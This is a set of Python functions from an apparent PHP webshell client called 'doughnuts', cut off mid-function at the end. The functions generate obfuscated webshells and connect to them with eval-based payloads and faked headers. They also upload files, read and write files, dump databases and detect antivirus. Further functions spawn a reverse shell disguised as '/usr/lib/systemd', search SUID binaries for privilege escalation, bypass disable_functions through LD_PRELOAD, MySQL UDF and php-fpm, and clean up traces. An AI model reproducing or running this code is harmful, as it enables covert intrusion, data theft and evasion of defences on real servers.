def run(editor: str = ""): """ execute execute Custom PHP code by notepad / vi as default or your own editor. eg: execute {editor=""} """ file_name = str(uuid4()) file_path = gget("webshell.download_path", "webshell") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name).replace("\\", "/") open(real_file_path, "a").close() open_editor(real_file_path, editor) with open(real_file_path, "r") as f: code = f.read() if (code.startswith("<?php")): code = code[5:] if (code.endswith("?>")): code = code[:-2] print(color.yellow("Execute php code...")) res = send(code) if (not res): return text = res.r_text.strip() status_code = color.green(str( res.status_code)) if res.status_code == 200 else color.yellow( str(res.status_code)) print( f"\n{color.green('Result:')}\n[{status_code}] {color.cyan('length')}: {len(text)} \n{text}\n" ) remove(real_file_path)
def thread_upload(web_file_path: str, data: str, number: int, blocksize: int): global UPLOAD_SUCCESS, COLOR_PRINT_LOCK retry_time = 5 try: with COLOR_PRINT_LOCK: print(color.yellow("[Try] Upload block [%d]" % number)) if (not UPLOAD_SUCCESS): return while retry_time: res = send(get_php_upload(web_file_path, data, number)) if (res.r_text.strip() == "success"): with COLOR_PRINT_LOCK: print(color.yellow("[Successs] Upload block [%d]" % number)) break else: retry_time -= 1 with COLOR_PRINT_LOCK: print(color.red("[Failed] Upload block [%d]" % number)) continue if (not retry_time): with COLOR_PRINT_LOCK: print(color.red("\n[Failed] Upload break [%d]\n" % number)) UPLOAD_SUCCESS = False raise UploadBreakException("") except Exception: UPLOAD_SUCCESS = False raise UploadBreakException("")
def run(lhost: str, port: int, mode: int = 0, fakename: str = "/usr/lib/systemd"): """ reshell Bind a local port and wait for target connect back to get a full shell. eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd} """ if (is_windows(False) or is_windows()): print(color.red(f"Only for both system is linux.")) return False try: port = int(port) except ValueError: port = 23333 disable_func_list = gget("webshell.disable_functions", "webshell") MODE = 1 print(color.yellow(f"Waring: You are using a testing command....")) print(color.yellow(f" Please make sure Port {port} open....")) if (mode == 0): if (has_env("python")): print(color.green(f"Traget has python environment.")) MODE == 1 else: print(color.red(f"Traget has not python environment.")) MODE == 2 else: MODE = int(mode) if ("proc_open" in disable_func_list): print(color.red("proc_open is disabled... Try Mode 3")) return if (MODE == 1): print(color.yellow(f"Use Mode 1->python")) command = get_php(lhost, port) else: print(color.yellow(f"Use Mode 2->upload")) filename = encrypt(f"{lhost}-{port}") if not upload( path.join(gget("root_path"), "auxiliary", "reshell", "reverse_server_x86_64"), "/tmp/%s" % filename, True): return command = get_system_code( f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}", False) t = Thread(target=delay_send, args=(2, command)) t.setDaemon(True) t.start() print(f"Bind port {color.yellow(str(port))}...") if (not bind(port, MODE)): print(color.red(f"Bind port error.")) if (MODE == 3): res = send(f"unlink('/tmp/{filename}');") if (not res): return
def run(file_name: str, keyword: str = "POST", passwd: str = "", salt: str = "", _type: int = 1): """ generate Generate a webshell using doughnuts encoding (password and salt none is random). keyword: - GET - POST - COOKIE - HEADER _type: - 1 : Pudding - 2 : Icecream - 3 : Popsicle - 4 : Gululingbo """ raw_keyword = keyword.upper() if (raw_keyword not in keyword_dict): print(color.red("\nKeyword error\n")) return keyword = keyword_dict[raw_keyword] if (_type not in type_dict): print(color.red("\nType error\n")) return passwd = str(passwd) if passwd else ranstr(randint(5, 8)) salt = str(salt) if salt else ranstr(randint(5, 8)) php = get_php(keyword, passwd, salt, _type) file_path, file_name = path.split(path.realpath(file_name)) file_real_path = path.join(file_path, file_name) if (path.exists(file_real_path)): print(color.red("\nFile is exist\n")) return elif (not path.exists(file_path)): print(color.red("\nFile path is invalid\n")) return with open(file_real_path, "w+") as f: f.write(php) print( color.green( f"\ngenerate {type_dict[_type]}'s php in {file_real_path}! enjoy it!" )) print(color.yellow("\nUsage:")) print( color.yellow( f" Interactive interface : connect url {raw_keyword} {passwd} doughnuts-{salt}" )) print( color.yellow( f" Non-Interactive interface: doughnuts connect url {raw_keyword} {passwd} doughnuts-{salt}\n" ))
def run(): """ execute execute Custom PHP code by notepad/vi. eg: execute """ file_name = "tmp" + str(uuid4()) file_path = gget("webshell.download_path", "webshell").replace(":", "_") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name) with open(real_file_path, "w"): pass open_editor(real_file_path) with open(real_file_path, "r") as f: code = f.read().strip("<?php").strip("?>") print(color.yellow("Execute php code...")) res = send(code) if (not res): return text = res.r_text.strip() print(color.green("\nResult:\n") + text + "\n") remove(real_file_path)
def run(web_file_path: str): """ write Write files directly to the target system by notepad/vi. eg: write {web_file_path} """ file_name = path.split(web_file_path)[1] file_path = gget("webshell.download_path", "webshell").replace(":", "_") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name) with open(real_file_path, "w"): pass open_editor(real_file_path) with open(real_file_path, "r") as f: result = base64_encode(f.read()) res = send( f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));" ) if (not res): return text = res.r_text.strip() if (match(r"\w+", text) and text != '0'): print(color.green(f"\nWrite {web_file_path} success.\n")) else: print( color.red(f"\nWrite {web_file_path} failed.") + color.yellow("\n\nResponse:") + f"\n{text}\n") remove(real_file_path)
def run(find_path: str = "/usr&/bin"): """ av (Only for windows) Detect anti-virus software running on the target system. ps: Need to run system commands Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList """ if (not is_windows()): print(color.red("\nTarget system isn't windows\n")) return res = send(get_system_code("tasklist /svc")) if (not res or not res.r_text or "No system execute function" in res.r_text): print(color.red("\nDetect error\n")) return with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"), "r", encoding="utf-8") as f: av_processes = loads(f.read()) flag = 0 print("\n" + color.green(" " * 37 + "Result")) for line in res.r_text.split("\n"): process = line.split(' ')[0] if process in av_processes: flag = 1 print(" %40s - %-30s" % (color.cyan(process), color.yellow(av_processes[process]))) if (not flag): print(" %40s / %-30s" % (color.green('No anti-virus'), color.red('Not found'))) print()
def run(database: str = "", local_path: str = "", encoding: str = "utf8", blocksize: int = 1000, exclude: str = "", include: str = "", threads: int = 5): """ db_mdump Dump a database to a file by block compression and multi threads, Default file name is {database}.sql. You can use exclude options to exclude some tables. You can also use include options to dump only some tables. eg: db_mdump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"} {blocksize=1000} {exclude="",eg="table1,table2"} {include="",eg="table1,table2"} {threads=5} """ global LOCK if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = database if database else gget("db_dbname", "webshell") download_path = local_path or gget("webshell.download_path", "webshell") if not path.exists(download_path): makedirs(download_path) res = send(get_table_name_php(database)) if (not res): return tables = res.r_text.strip() with LOCK: print(color.yellow(f"\n[Try] Dump {database}\n")) with ThreadPoolExecutor(max_workers=threads) as tp: all_task = [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table not in exclude.split(",")] if ( not include) else [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table in include.split(",")] wait(all_task, return_when=ALL_COMPLETED) with LOCK: print(color.green(f"\n[Success] Dump {database}\n"))
def run(file_path: str, web_file_path: str = "", force: bool = False): """ upload Upload file to target system. eg: upload {file_path} {web_file_path=file_name} {force=False} """ flag = True if (not web_file_path): web_file_path = path.basename(file_path) flag = False try: fp = open(file_path, "rb") except FileNotFoundError: print("\n" + color.red("Local File not exist") + "\n") return php = get_php(web_file_path, force) res = send(php, files={"file": fp}) if (not res): return text = res.r_text.strip() if text == "success": if (flag): print( color.green( f"\nUpload {file_path} as {web_file_path} success\n")) else: print(color.green(f"\nUpload {file_path} success\n")) return True elif text == "exist": print(color.yellow(f"\n{web_file_path} exist\n")) return True else: print("\n" + color.red("Upload error / Privileges not enough") + "\n")
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled.\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension!\n")) return False if (not test): if (mode == 7): print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n")) print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n") gset("webshell.bypass_df", mode, True, "webshell") return True
def thread_dump(database, table, encoding, download_path, blocksize, threads): global LOCK table = table if table else "None" retry_time = 5 row_number = -1 while retry_time and row_number == -1: row_number = get_table_row_number(database, table) retry_time -= 1 if (row_number != -1): with LOCK: print(f"[Retry] fetch {database}.{table} [rows: {row_number}]") if (row_number == -1): with LOCK: print(color.red(f"[Error] fetch {database}.{table}")) return file_name = f"{database}.{table}.sql" file_path = path.join(download_path, file_name).replace("\\", "/") with LOCK: print(color.yellow( f"[Try] fetch {database}.{table} [rows: {row_number}]")) with open(file_path, "wb") as f, ThreadPoolExecutor(max_workers=threads) as tp: f.write(get_table_construct(database, table, encoding)) f.flush() all_task = [tp.submit(get_data, database, table, encoding, offset, blocksize) for offset in range(0, row_number, blocksize)] for future in as_completed(all_task): result = future.result() if (result): f.write(future.result()) f.flush() with LOCK: print(color.green( f"[Success] fetch {database}.{table} [rows: {row_number}]"))
def run(find_path: str = "/usr&/bin"): """ priv (Only for *unix) Find all files with suid belonging to root and try to get privilege escalation tips. ps:use & to split find_path eg: priv {find_path="/usr&/bin"} """ if (is_windows()): print(color.red("\nTarget system isn't *unix\n")) return print( color.yellow( f"\nFinding all files with suid belonging to root in {find_path}...\n" )) phpcode = "" priv_tips = {} if ("&" in find_path): find_paths = find_path.split("&") else: find_paths = (find_path, ) for each in find_paths: phpcode += get_system_code( f"find {each} -user root -perm -4000 -type f 2>/dev/null") res = send(phpcode) if (not res): return suid_commands = res.r_text.strip().split("\n") if (not suid_commands or "No system execute function" in suid_commands[0]): print(color.red("\nFind error\n")) return with open(path.join(gget("root_path"), "auxiliary", "priv", "gtfo.json"), "r") as f: priv_tips = loads(f.read()) for cmd_path in suid_commands: cmd = cmd_path.split("/")[-1] if (cmd in priv_tips): print( color.yellow(cmd_path) + f" ( https://gtfobins.github.io/gtfobins/{cmd}/ )\n") for k, v in priv_tips[cmd].items(): info = '\n'.join(v) print(f"""{color.cyan(k)}\n{color.green(info)}\n""")
def run(file_name: str, keyword: str = "POST", passwd: str = "", salt: str = "", _type: int = 1): raw_keyword = keyword.upper() if (raw_keyword not in keyword_dict): print(color.red("\nKeyword error\n")) return keyword = keyword_dict[raw_keyword] if (_type not in template_name_dict): print(color.red("\nType error\n")) return passwd = str(passwd) if passwd else ranstr(randint(5, 8)) salt = str(salt) if salt else ranstr(randint(5, 8)) php = get_php(keyword, passwd, salt, _type) file_path, file_name = path.split(path.realpath(file_name)) file_real_path = path.join(file_path, file_name) if (path.exists(file_real_path)): print(color.red("\nFile is exist\n")) return elif (not path.exists(file_path)): print(color.red("\nFile path is invalid\n")) return with open(file_real_path, "w+") as f: f.write(php) print( color.green( f"\ngenerate {template_name_dict[_type]}'s php in {file_real_path}! enjoy it!" )) print(color.yellow("\nUsage:")) print( color.yellow( f" Interactive interface : connect url {raw_keyword} {passwd} doughnuts-{salt}" )) print( color.yellow( f" Non-Interactive interface: doughnuts connect url {raw_keyword} {passwd} doughnuts-{salt}\n" ))
def run(timeout: float = 2.0): """ check Check if each webshell is alive. eg: check {timeout=2.0} """ if not exists("webshell.log"): print(color.red("No webshell.Log")) return 0 with open("webshell.log", "r") as f: for index, line in enumerate(f, 1): url, method, pwd, *encode_functions = line.split("|") if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print( f"[{color.blue(str(index))}] {color.red('Method error')}") continue check_command = "print(md5(1));" encode_pf = gget("encode.pf") for func in encode_functions: if func in encode_pf: check_command = encode_pf[func].run(check_command) params_dict = {"data": {}, "timeout": timeout} params_dict[raw_key] = {} params_dict[raw_key][pwd] = check_command common_text, status_code_text = "", "000" try: res = post(url, verify=False, **params_dict) status_code_text = str(res.status_code) if ("c4ca4238a0b923820dcc509a6f75849b" in res.text): common_text = color.green("Alive") else: common_text = color.red("Not Alive") except exceptions.Timeout: common_text = color.yellow("Timeout") except exceptions.RequestException: common_text = color.red("Request error") print( f"[{color.blue(str(index))}] [{color.yellow(status_code_text)}] {common_text} {url}" )
def run(*web_file_paths): """ cat Read file(s) from target system. eg: cat {web_file_path1} {web_file_path2} .. """ for each_file_path in web_file_paths: res = send( f"print(file_get_contents(base64_decode('{base64_encode(each_file_path)}')));" ) if (not res): return text = res.r_text.strip() if len(text): print("\n" + color.green(each_file_path)) print("\n" + text + "\n") else: print("\n" + color.yellow(each_file_path)) print("\n" + color.red("File not exist / Read error") + "\n")
def clean_trace(): def get_clean_ld_preload_php(filename: str): system_clean_command = f"rm -f {filename} && echo success" return """$f=base64_decode("%s"); if (!unlink($f)){ %s }else{echo "success";} """ % (base64_encode(filename), get_system_code(system_clean_command)) ld_preload_filename = gget("webshell.ld_preload_path", "webshell", None) if (ld_preload_filename): print(color.yellow("\nClean LD_PRELOAD traces...\n")) res = send(get_clean_ld_preload_php(ld_preload_filename)) if (res): text = res.r_text.strip() if ("success" in text): print(color.green("Clean success\n")) else: print(color.red("Clean failed\n")) gset("webshell.ld_preload_path", None, True, "webshell") gset("webshell.ld_preload_func", None, True, "webshell")
def run(file_path: str, web_file_path: str = "", upload_type: int = 0, force: bool = False): """ upload Upload file to target system. eg: upload {file_path} {web_file_path=file_name} {upload_type=0(FILES)/1(file_put_contents)} {force=False} """ filename = path.basename(file_path) if (not web_file_path): web_file_path = filename try: fp = open(file_path, "rb") except FileNotFoundError: print("\n" + color.red("Local File not exist") + "\n") return if upload_type == 0: php = get_php(filename, web_file_path, force) res = send(php, files={"file": fp}) else: php = get_php_file_put_contents(filename, web_file_path, force, b64encode(fp.read()).decode()) res = send(php) if (not res): return text = res.r_text.strip() if "success" in text: print(color.green(f"\n{text}\n")) return True elif "exist" in text: print(color.yellow(f"\n{text}\n")) return True else: print("\n" + color.red( f"Upload error / Privileges not enough. Result: {text}") + "\n")
def run(editor: str = ""): """ execute execute Custom PHP code by notepad / vi as default or your own editor. eg: execute {editor=""} """ file_name = str(uuid4()) file_path = gget("webshell.download_path", "webshell") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name).replace("\\", "/") open(real_file_path, "a").close() open_editor(real_file_path, editor) with open(real_file_path, "r") as f: code = f.read().strip("<?php").strip("?>") print(color.yellow("Execute php code...")) res = send(code) if (not res): return text = res.r_text.strip() print(color.green("\nResult:\n") + text + "\n") remove(real_file_path)
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) elif (i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i+1])) pass_next = True encoders_or_params = new_eop extra_params = [f for f in encoders_or_params if "=" in str(f)] params_dict[raw_key] = {} for each in extra_params: if(":" in each): k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update(dict([(k, value_translation(v[0])) for k, v in parse_qs(data).items()])) else: k, data = each.split("=") if (k not in params_dict): params_dict[k] = {} if (k == "auth"): params_dict[k] = value_translation(data) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") version_flag_start = randstr( string=ascii_letters + digits, offset=randint(32, 62)) version_flag_end = randstr( string=ascii_letters + digits, offset=randint(32, 62)) res = send( 'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True) if (not res or version_flag_start not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if version_flag_start in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[ 1].split("|" + version_flag_end)[0], namespace="webshell") info_req = send( """$bit=PHP_INT_SIZE==4?32:64; print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") bits = info[7] try: bits = int(bits) except ValueError: bits = 0 print(color.yellow("detect architecture error\n")) gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell") gset("webshell.arch", bits, namespace="webshell") gset("webshell.directory_separator", info[8], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join(encoders_or_params) + \ "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "ab+") as f: text = f.read() if (text): f.seek(-1, SEEK_END) if f.read(1) != b"\n": f.write(b"\n") f.write(f"{url}|{method}|{pwd}|{extra}\n".encode()) else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) update_prompt() if (exec_func == ''): print(color.red("No system execute function\n")) return True
def send(data: str, raw: bool = False, **extra_params): offset = 8 encode_recv = False url = gget("webshell.url", "webshell") params_dict = gget("webshell.params_dict", "webshell").copy() php_v7 = gget("webshell.v7", "webshell") password = gget("webshell.password", "webshell") raw_key = gget("webshell.method", "webshell") encode_functions = gget("webshell.encode_functions", "webshell") encode_pf = gget("encode.pf") params_dict.update(extra_params) if "data" not in params_dict: params_dict["data"] = {} head = randstr("!@#$%^&*()[];,.?", offset) tail = randstr("!@#$%^&*()[];,.?", offset) pwd_b64 = b64encode(gget("webshell.pwd", "webshell", "Lg==").encode()).decode() if not raw: encode_head = "ob_start();" if encode_recv else "" encode_tail = """$ooDoo=ob_get_clean(); $encode = mb_detect_encoding($ooDoo, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5','ISO-8859-1','latin1')); $ooDoo = mb_convert_encoding($ooDoo, 'UTF-8', $encode); print(base64_encode($ooDoo));""" if encode_recv else "" data = f"""error_reporting(0);{encode_head}chdir(base64_decode("{pwd_b64}"));print("{head}");""" + data if (gget("webshell.bypass_obd", "webshell")): data = """$dir=pos(glob("./*", GLOB_ONLYDIR)); $cwd=getcwd(); $ndir="./%s"; if($dir === false){ $r=mkdir($ndir); if($r === true){$dir=$ndir;}} chdir($dir); ini_set("open_basedir",".."); $c=substr_count(getcwd(), "/"); for($i=0;$i<$c;$i++) chdir(".."); ini_set("open_basedir", "/"); chdir($cwd);rmdir($ndir);""" % (uuid4()) + data data += f"""print("{tail}");{encode_tail}""" data = f"""eval(base64_decode("{base64_encode(data)}"));""" if (not php_v7): data = f"""assert(eval(base64_decode("{base64_encode(data)}")));""" for func in encode_functions: if func in encode_pf: data = encode_pf[func].run(data) elif ("doughnuts" in str(func)): _, salt = func.split("-") data = encode_pf["doughnuts"].run(data, salt) if (raw_key == "cookies"): data = quote(data) params_dict['headers']['User-agent'] = fake_ua() params_dict['headers']['Referer'] = fake_referer() params_dict[raw_key][password] = data try: req = Session.post(url, verify=False, **params_dict) except requests.RequestException: print(color.red("\nRequest Error\n")) return if (req.apparent_encoding): req.encoding = encoding = req.apparent_encoding else: encoding = "utf-8" if (raw or not encode_recv): text = req.text content = req.content else: text = base64_decode(req.text) content = b64decode(req.content) text_head_offset = text.find(head) text_tail_offset = text.find(tail) text_head_offset = text_head_offset + \ offset if (text_head_offset != -1) else 0 text_tail_offset = text_tail_offset if ( text_tail_offset != -1) else len(text) con_head_offset = content.find(head.encode(encoding)) con_tail_offset = content.find(tail.encode(encoding)) con_head_offset = con_head_offset + \ offset if (con_head_offset != -1) else 0 con_tail_offset = con_tail_offset if ( con_tail_offset != -1) else len(content) req.r_text = text[text_head_offset:text_tail_offset] req.r_content = content[con_head_offset:con_tail_offset] req.r_json = MethodType(r_json, req) if DEBUG["SEND"]: # DEBUG print(color.yellow(f"-----DEBUG START------")) print(f"[{req.status_code}] {url} length: {len(req.r_text)} ", end="") print(f"raw: {color.green('True')}" if raw else '') for k, v in params_dict.items(): print(f"{k}: ", end="") pprint(v) print(color.green(f"----DEBUG RESPONSE----")) print(req.r_text) if (not req.r_text): print(color.green(f"----DEBUG RAW RESPONSE----")) print(req.text) print(color.yellow(f"------DEBUG END-------\n")) return req
def run(url: str, method: str, data: str = '', params: str = '', cookie: str = '', type: int = 1, timeout: float = 3, redirect_method: str = "POST", redirect_auto: int = 1, redirect_cookie_use: int = 1, create_dir: int = 0): """ agent Lightweight intranet browsing. eg: agent {url} {method} {data=''} {params=''} {cookie=''} {type=[socket|file_get_contents|curl]{1|2|3},default = 1} {timeout=3} {redirect_method=POST} {redirect_auto=1} {redirect_cookie_use=1} {create_dir=0} """ php = get_php(url, method.upper(), redirect_method.upper(), data, params, cookie, redirect_auto, redirect_cookie_use, timeout, type) res = send(php) if (not res): return text = res.r_text # ------------------------------------------ try: current_status = findall('<CurrentStatus>(.*)</CurrentStatus>', text, I + M) assert len(current_status), "Can't get status```" current_status = current_status[0] current_url = findall('<CurrentUrl>(.*)</CurrentUrl>', text, I + M) current_url = base64_decode(current_url[0]) if len(current_url) else '' current_cookie = findall('<CurrentCookie>(.*)</CurrentCookie>', text, I + M) current_cookie = base64_decode( current_cookie[0]) if len(current_cookie) else '' current_header = findall('<CurrentHeader>(.*)</CurrentHeader>', text, I + M) current_header = "\n ".join( base64_decode(line) for line in current_header[0].split( "|")) if len(current_header) else '' if (current_status == "success"): print( color.magenta("Current Url: ") + color.cyan(current_url) + "\n") print( color.blue("Response Headers: \n\n") + " " * 4 + color.white(current_header)) print( color.blue("Cookie: \n\n") + " " * 4 + color.red(current_cookie) + "\n") print(color.yellow("*" * 20 + " Body " + "*" * 20) + "\n\n") print(color.cyan(text) + "\n\n") print(color.yellow("*" * 20 + " END " + "*" * 21) + "\n\n") if (create_dir == 1): dir_path = dirname(current_url.split("//", maxsplit=1)[1]) dir_path = dir_path.replace(":", "-") dir_path = dir_path.replace('.', "_") file_name = "".join( hex(each)[2:].zfill(2) for each in urandom(20)) + "_" + str(time()) + '.html' if (not exists(dir_path)): makedirs(dir_path) method = "w" try: contents = text.encode() method = "wb" except Exception: contents = text with open(dir_path + "/" + file_name, method) as out_file: out_file.write(contents) print( color.blue("Outfile: ") + color.cyan(dir_path + "/" + file_name) + "\n\n") except Exception as e: print("Agent error.", e)
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = { 'host': '127.0.0.1', 'port': 9000, "php_file": "/usr/local/lib/php/PEAR.php" } for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nPort must be number!\n")) return False if new_v: requirements_dict[k] = new_v attack_type = input("attack_type[gopher/sock]:").lower() if (attack_type not in ["gopher", "sock"]): return False if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True, "webshell") gset("webshell.bdf_fpm.type", attack_type, True, "webshell") if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def helpmenu(): namespace = gget("namespace") if (namespace == "main"): print( color.yellow("[?|help] ") + color.cyan( "Output the help document for the command or all help menu" )) print( color.yellow("[s|show] ") + color.cyan("Show log webshells")) print( color.yellow("[se|show_encoders] ") + color.cyan("Show available encoders")) print( color.yellow("[sw|switch] ") + color.cyan( "(for input Non-alphanumeric) Switch input to raw input")) print( color.yellow("[gen|generate] ") + color.cyan("Generate a webshell using doughnuts encoding")) print( color.yellow("[l|load] ") + color.cyan("Load a webshell from log")) print( color.yellow("[c|connect] ") + color.cyan("Connect to a webshell")) print( color.yellow("[check] ") + color.cyan("Check if each webshell is alive")) print( color.yellow("[rm|remove] ") + color.cyan("Remove a webshell log")) print( color.yellow("[log] ") + color.cyan( "(Only for *unix) Write input and output to the log")) print( color.yellow("[!|lsh] ") + color.cyan("Run a command on local machine")) print( color.yellow("[proxy] ") + color.cyan("Set proxy for requests")) print( color.yellow("[q|quit] ") + color.cyan("Quit this program")) elif (namespace == "webshell"): print("\n[COMMON]\n") print( color.yellow("[?|help] ") + color.cyan( "Output the help document for the command or all help menu" )) print( 